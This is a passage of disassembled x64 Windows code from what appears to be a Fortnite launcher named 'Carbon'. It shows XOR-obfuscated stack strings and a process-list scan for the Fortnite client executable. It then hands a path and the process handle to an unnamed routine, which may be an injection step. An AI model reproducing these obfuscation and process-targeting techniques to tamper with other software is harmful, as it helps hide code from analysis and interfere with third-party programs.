movabs rax, 0xf83dfde062bbf62a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7e0], rax
movabs rax, 0xef02f58e082a7e6a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7e8], rax
movabs rax, 0xf99fa42d889c4466
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7f0], rax
movabs rax, 0x7a526611ef814f7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7f8], rax
movabs rax, 0xf86690153170246a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x800], rax
movabs rcx, 0x7e4d0f7835b36992
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x808], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x840], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x848], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x850], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x858], rax
movabs rax, 0xbe74f00d6aa39c41
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x860], rax
movabs rax, 0x65ef09d0bc9e990a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x868], rax
movabs rax, 0xa9a3325be267130b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x870], rax
movabs rax, 0xe58418d6ea24423c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x878], rax
movabs rax, 0x901d898142cf8445
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x880], rax
movabs rax, 0x8b2ddab47b5a0a1e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x888], rax
movabs rax, 0x9eb1c05fe7ff370f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x890], rax
movabs rax, 0x57e2150a26cf3b90
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x898], rax
movabs rax, 0xf8669a35773e1d09
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8a0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x8a8], rax
vmovdqu ymm0, ymmword [rbp + 0x7a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x840]
vmovdqa ymmword [rbp + 0x7a0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x7c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x860]
vmovdqa ymmword [rbp + 0x7c0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x7e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x880]
vmovdqa ymmword [rbp + 0x7e0], ymm1
vmovdqa xmm0, xmmword [rbp + 0x800]
vpxor xmm0, xmm0, xmmword [rbp + 0x8a0]
vmovdqa xmmword [rbp + 0x800], xmm0
lea rcx, [rbp + 0x7a0]
vzeroupper
call fcn.1400011b0
call fcn.140006470
movabs rax, 0xfe26851918d551fd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
movabs rax, 0xed2558ac263e1f65
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
movabs rax, 0x34def6ddd0061d65
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x760], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x768], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x770], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x778], rax
vmovdqu ymm0, ymmword [rbp + 0x20]
vpxor ymm1, ymm0, ymmword [rbp + 0x760]
vmovdqa ymmword [rbp + 0x20], ymm1
lea rcx, [rbp + 0x20]
vzeroupper
call fcn.1400011b0
movabs rax, 0x914ac65c368b6bad
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x8e0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x8e8], rax
movdqa xmm0, xmmword [rbp + 0x40]
pxor xmm0, xmmword [rbp + 0x8e0]
movdqa xmmword [rbp + 0x40], xmm0
lea rcx, [rbp + 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rax, qword [rbp + 0x480]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x480], rbx
mov rax, qword [rbp + 0x480]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x47c], edx
lea rcx, [rbp + 0x490]
call fcn.14000cb50
lea rcx, [rbp + 0x498]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x530]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rax, qword [rbp + 0x370]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x370], rbx
mov rax, qword [rbp + 0x370]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x36c], edx
lea rcx, [rbp + 0x380]
call fcn.14000cb50
lea rcx, [rbp + 0x388]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x420]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x5c8]
cmp rdx, 0x10
jb 0x14000abd5
inc rdx
mov rcx, qword [rbp + 0x5b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000abd0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000abd0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140030764
movdqa xmm0, xmmword [0x140057290]
movdqu xmmword [rbp + 0x5c0], xmm0
mov byte [rbp + 0x5b0], 0
mov rdx, qword [rbp + 0x5a8]
cmp rdx, 0x10
jb 0x14000ac30
inc rdx
mov rcx, qword [rbp + 0x590]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ac2b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000ac2b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140030764
movdqa xmm0, xmmword [0x140057290]
movdqu xmmword [rbp + 0x5a0], xmm0
mov byte [rbp + 0x590], 0
mov rax, qword [rbp + 0x260]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x260], rbx
mov rax, qword [rbp + 0x260]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x25c], edx
lea rcx, [rbp + 0x270]
call fcn.14000cb50
lea rcx, [rbp + 0x278]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x310]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x608]
cmp rdx, 0x10
jb 0x14000b295
inc rdx
mov rcx, qword [rbp + 0x5f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b290
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b290
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
movsxd rax, dword [rcx + 4]
mov qword [rbp + rax + 0x480], rbx
mov rax, qword [rbp + 0x480]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x47c], edx
lea rcx, [rbp + 0x490]
call fcn.14000cb50
lea rcx, [rbp + 0x498]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x530]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
call fcn.1400083b0
mov rax, qword [rbp + 0x370]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx + 0x380], 6
je 0x14000b2ca
movabs rax, 0xf8388519188651fd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7a0], rax
movabs rax, 0xed213be020331f62
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7a8], rax
movabs rax, 0x41bd95b8d11a1d75
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7b0], rax
movabs rax, 0xfd974622a04a26fa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7b8], rax
movabs rax, 0xdd549f794ac6f023
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7c0], rax
movabs rax, 0x448a7cbed5eaf765
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7c8], rax
movabs rax, 0xddc0532f8c08502b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7d0], rax
movabs rax, 0x91f677a69a51311c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7d8], rax
movabs rax, 0xe069fde962bbe565
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7e0], rax
movabs rax, 0xe85eb3d05475306d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7e8], rax
movabs rax, 0xa99ea738c99b4560
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7f0], rax
movabs rax, 0x19db765a61fc50a8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7f8], rax
movabs rax, 0xf8669a3577343d4f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x800], rax
movabs rcx, 0x7e4d0f7835b36992
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x808], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x840], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x848], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x850], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x858], rax
movabs rax, 0xbe74f00d6aa39c41
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x860], rax
movabs rax, 0x65ef09d0bc9e990a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x868], rax
movabs rax, 0xa9a3325be267130b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x870], rax
movabs rax, 0xe58418d6ea24423c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x878], rax
movabs rax, 0x901d898142cf8445
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x880], rax
movabs rax, 0x8b2ddab47b5a0a1e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x888], rax
movabs rax, 0x9eb1c05fe7ff370f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x890], rax
movabs rax, 0x57e2150a26cf3b90
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x898], rax
movabs rax, 0xf8669a35773e1d09
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8a0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x8a8], rax
vmovdqu ymm0, ymmword [rbp + 0x7a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x840]
vmovdqa ymmword [rbp + 0x7a0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x7c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x860]
vmovdqa ymmword [rbp + 0x7c0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x7e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x880]
vmovdqa ymmword [rbp + 0x7e0], ymm1
vmovdqa xmm0, xmmword [rbp + 0x800]
vpxor xmm0, xmm0, xmmword [rbp + 0x8a0]
vmovdqa xmmword [rbp + 0x800], xmm0
lea rcx, [rbp + 0x7a0]
vzeroupper
call fcn.1400011b0
call fcn.140006470
movabs rax, 0xfe26851918d551fd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
movabs rax, 0xed2558ac263e1f65
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
movabs rax, 0x34def6ddd0061d65
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x760], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x768], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x770], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x778], rax
vmovdqu ymm0, ymmword [rbp + 0x20]
vpxor ymm1, ymm0, ymmword [rbp + 0x760]
vmovdqa ymmword [rbp + 0x20], ymm1
lea rcx, [rbp + 0x20]
vzeroupper
call fcn.1400011b0
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
mov rax, qword [rbp + 0x370]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x370], rbx
mov rax, qword [rbp + 0x370]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x36c], edx
lea rcx, [rbp + 0x380]
call fcn.14000cb50
lea rcx, [rbp + 0x388]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x420]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x5c8]
cmp rdx, 0x10
jb 0x14000b193
inc rdx
mov rcx, qword [rbp + 0x5b0]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14000b18e
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000bd60
call fcn.140030764
movdqa xmm0, xmmword [0x140057290]
mov byte [rbp + 0x5b0], 0
movdqu xmmword [rbp + 0x5c0], xmm0
mov rdx, qword [rbp + 0x5a8]
cmp rdx, 0x10
jb 0x14000b1eb
inc rdx
mov rcx, qword [rbp + 0x590]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14000b1e6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000bdbb
call fcn.140030764
movdqa xmm0, xmmword [0x140057290]
movdqu xmmword [rbp + 0x5a0], xmm0
mov byte [rbp + 0x590], 0
mov rax, qword [rbp + 0x260]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x260], rbx
mov rax, qword [rbp + 0x260]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x25c], edx
lea rcx, [rbp + 0x270]
call fcn.14000cb50
lea rcx, [rbp + 0x278]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x310]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x608]
cmp rdx, 0x10
jb 0x14000b295
inc rdx
mov rcx, qword [rbp + 0x5f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b290
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000be74
call fcn.140030764
mov eax, 1
mov rcx, qword [rbp + 0xa20]
xor rcx, rsp
call fcn.14002fd30
lea r11, [rsp + 0xa80]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140007240
nop
test al, al
jne 0x14000b2fd
lea rcx, str._____Failed_to_start_the_game._Is_your_config_valid___n
call fcn.1400011b0
lea rcx, str.____Please_repair_or_delete_your_config_and_restart_Carbon.__n
call fcn.1400011b0
lea rcx, str._____Press_any_key_to_exit...__n
call fcn.1400011b0
jmp 0x14000b100
mov rax, qword [0x140060060]
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x14000b680
lea rcx, str.____Fortnite_was_launched._n
call fcn.1400011b0
cmp dword [0x140097cd0], 0
jne 0x14000b3af
nop word [rax + rax]
mov edi, r14d
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000b395
mov dword [rbp + 0x630], 0x130
lea rdx, [rbp + 0x630]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x14000b395
lea rdx, str.FortniteClient_Win64_Shipping.exe
lea rcx, [rbp + 0x65c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x14000b38f
lea rdx, [rbp + 0x630]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32Next]
jmp 0x14000b361
mov edi, dword [rbp + 0x638]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x140097cd0], edi
test edi, edi
je 0x14000b330
lea rbx, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
lea rdx, [rbp + 0x590]
cmp qword [rbp + 0x5a8], 0x10
cmovae rdx, qword [rbp + 0x590]
mov rcx, qword [0x140060060]
call fcn.14002f030
test al, al
je 0x14000b49a
movabs rax, 0xfb248f1918d551fd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
movabs rax, 0xed073be824241573
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
movabs rax, 0x34d4d7ba84011c66
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x760], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x768], rax
movabs rax, 0x34def6d7f1687207
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x770], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x778], rax
vmovdqu ymm0, ymmword [rbp + 0x20]
vpxor ymm1, ymm0, ymmword [rbp + 0x760]
vmovdqa ymmword [rbp + 0x20], ymm1
lea rcx, [rbp + 0x20]
vzeroupper
call fcn.1400011b0
cmp esi, 2
jl 0x14000b680
jmp 0x14000b669
movabs rax, 0xfc25951918df51fd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x760], rax
movabs rax, 0xe8647ce228380273
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x768], rax
movabs rax, 0x5ab184a0d11c1c62
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x770], rax
movabs rax, 0xe8d97d67e65963ef
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x778], rax
movabs rax, 0xd100d06a04cae533
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x780], rax
movabs rax, 0x459b6ab5d6f0f02a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x788], rax
movabs rax, 0x88ce47328c066148
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x790], rax
movabs rax, 0xe58418d6ea24481c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x798], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x840], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x848], rax
movabs rax, 0x34def6d7f1687207
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x850], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x858], rax
movabs rax, 0xbe74f00d6aa39c41
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x860], rax
movabs rax, 0x65ef09d0bc9e990a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x868], rax
movabs rax, 0xa9a3325be267130b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x870], rax
movabs rax, 0xe58418d6ea24423c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x878], rax
vmovdqu ymm0, ymmword [rbp + 0x760]
vpxor ymm1, ymm0, ymmword [rbp + 0x840]
vmovdqa ymmword [rbp + 0x760], ymm1
vmovdqu ymm0, ymmword [rbp + 0x780]
vpxor ymm1, ymm0, ymmword [rbp + 0x860]
vmovdqa ymmword [rbp + 0x780], ymm1
lea rcx, [rbp + 0x760]
vzeroupper
call fcn.1400011b0
call fcn.140006470
lea rcx, str.____Closing_Carbon__n
call fcn.1400011b0
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.CarbonLauncher.exe
call fcn.140006380
nop word [rax + rax]
mov edx, 0xa
mov rcx, qword [0x140060060]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x14000b680
call fcn.140006470
nop
mov rax, qword [rbp + 0x370]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x370], rbx
mov rax, qword [rbp + 0x370]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x36c], edx
lea rcx, [rbp + 0x380]
call fcn.14000cb50
lea rcx, [rbp + 0x388]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x420]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x5c8]
cmp rdx, 0x10
jb 0x14000b732
inc rdx
mov rcx, qword [rbp + 0x5b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b72d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000bd60
call fcn.140030764
movdqa xmm0, xmmword [0x140057290]
movdqu xmmword [rbp + 0x5c0], xmm0
mov byte [rbp + 0x5b0], 0
mov rdx, qword [rbp + 0x5a8]
cmp rdx, 0x10
jb 0x14000b78a
inc rdx
mov rcx, qword [rbp + 0x590]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b785
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000bdbb
call fcn.140030764
movdqa xmm0, xmmword [0x140057290]
movdqu xmmword [rbp + 0x5a0], xmm0
mov byte [rbp + 0x590], 0
mov rax, qword [rbp + 0x260]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x260], rbx
mov rax, qword [rbp + 0x260]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x25c], edx
lea rcx, [rbp + 0x270]
call fcn.14000cb50
lea rcx, [rbp + 0x278]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x310]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x608]
cmp rdx, 0x10
jb 0x14000b834
inc rdx
mov rcx, qword [rbp + 0x5f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b82f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000be74
call fcn.140030764
xor eax, eax
jmp 0x14000b29a
movabs rax, 0xb1248719188651fd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x840], rax
movabs rax, 0xfc2b3bfe2e220473
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x848], rax
movabs rax, 0x46aad6b3941a0764
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x850], rax
movabs rax, 0xbc966722e9402af1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x858], rax
movabs rax, 0xda159f6104d4f325
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x860], rax
movabs rax, 0x89a60beddecda2a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x868], rax
movabs rax, 0xcbc25c0ec249225d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x870], rax
movabs rax, 0x8ae738b99e042750
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x878], rax
movabs rax, 0xb03cecf42ca6f02b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x880], rax
movabs rax, 0xe24cbdd55b23784a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x888], rax
movabs rax, 0xbec3a52b86931761
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x890], rax
movabs rax, 0x36967b6545ef49ff
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x898], rax
movabs rax, 0x9716ea40041e696a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8a0], rax
movabs rax, 0xa252f0c54931de0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8a8], rax
movabs rax, 0xd20a934cb488f7e7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8b0], rax
movabs rax, 0x899a11a395e8eb7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8b8], rax
movabs rax, 0xae5a965a02f5cec2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8c0], rax
movabs rax, 0x67aa81366e6dfa9f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8c8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x7a0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x7a8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x7b0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x7b8], rax
movabs rax, 0xbe74f00d6aa39c41
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7c0], rax
movabs rax, 0x65ef09d0bc9e990a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7c8], rax
movabs rax, 0xa9a3325be267130b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7d0], rax
movabs rax, 0xe58418d6ea24423c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7d8], rax
movabs rax, 0x901d898142cf8445
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7e0], rax
movabs rax, 0x8b2ddab47b5a0a1e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7e8], rax
movabs rax, 0x9eb1c05fe7ff370f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7f0], rax
movabs rax, 0x57e2150a26cf3b90
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7f8], rax
movabs rax, 0xf8669a35773e1d09
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x800], rax
movabs rcx, 0x7e4d0f7835b36992
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x808], rax
movabs rax, 0xbb6ebc638efb8793
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x810], rax
movabs rax, 0x6ffe8f7e4b31edc4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x818], rax
